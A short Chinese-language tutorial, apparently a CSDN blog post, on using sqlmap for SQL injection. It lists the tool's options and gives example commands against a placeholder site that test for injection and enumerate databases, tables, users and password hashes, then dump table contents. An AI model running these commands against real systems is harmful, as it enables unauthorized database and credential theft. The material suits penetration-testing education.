SQL注入之SQLmap入门

痛定思痛。 2023-06-28 11:18 1阅读 0赞

> sqlmap也是渗透中常用的一个注入工具，其实在注入工具方面，一个sqlmap就足够用了。现在支持python3了

### 基本参数 ###

is-dba          当前用户权限
    dbs             所有数据库
    current-db      当前数据库
    users               所有用户
    current-user        当前用户
    --tables            
    --columns
    --dump
    --dump-all
    --level
    --passwords         枚举所有用户密码
    --roles             列出数据库dbajuese
    --privileges        列出数据库dba权限
    -D
    -T
    -C
    --dbms=mysql oracle mssql   指定数据库
    --schema --batch --exclude-sysdbs  查看数据库的架构 (比较大的一个命令)

### 使用实例： ###

#是否存在注入点
    sqlmap -u 'http://www.xxxx.com/mod.php?id=1'

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70]

#判断是不是dba权限
    sqlmap -u 'http://www.xxxx.com/mod>id=1' --is-dba

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 1]

#列所有的数据库
    sqlmap -u 'http://www.xxxx.com/mod?id=1' --dbs

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 2]

#看当前用户
    sqlmap -u 'http://www.xxxx.com?id=1' --current-user

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 3]

#查看当前数据库
    sqlmap -u 'http://www.xxxx.com?id=1' --current-db

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 4]

#查看数据库的表
    sqlmap -u 'http://www.xxxx.com?id=1' --tables -D dbname

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 5]

#查看test数据库中sc表的列
    sqlmap -u http://www.xxxx.com?id=1 --columns -T tablename -D dbname

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 6]

#把表中的数据转储
    sqlmap -u 'http://www.xxxx.com?id=1' --dump -T tablename -D dbname
    #或者只转储某几列
    sqlmap -u 'http://www.xxxx.com?id=1' --dump -C id,name -T tablename -D dbname

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 7]

#查看有哪些用户
    sqlmap -u 'http://www.xxxx.com?id=1' --users
    
    #查看用户密码
    sqlmap -u 'http://www.xxxx.com?id=1' --passwords

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200109101655502.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200109102743785.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200109105253378.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20200109110426966.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20200109112010658.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/20200109130748818.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 6]: https://img-blog.csdnimg.cn/20200109131209963.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE_size_16_color_FFFFFF_t_70 7]: https://img-blog.csdnimg.cn/20200109131604511.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhMTMxMjIzMTg4NjE=,size_16,color_FFFFFF,t_70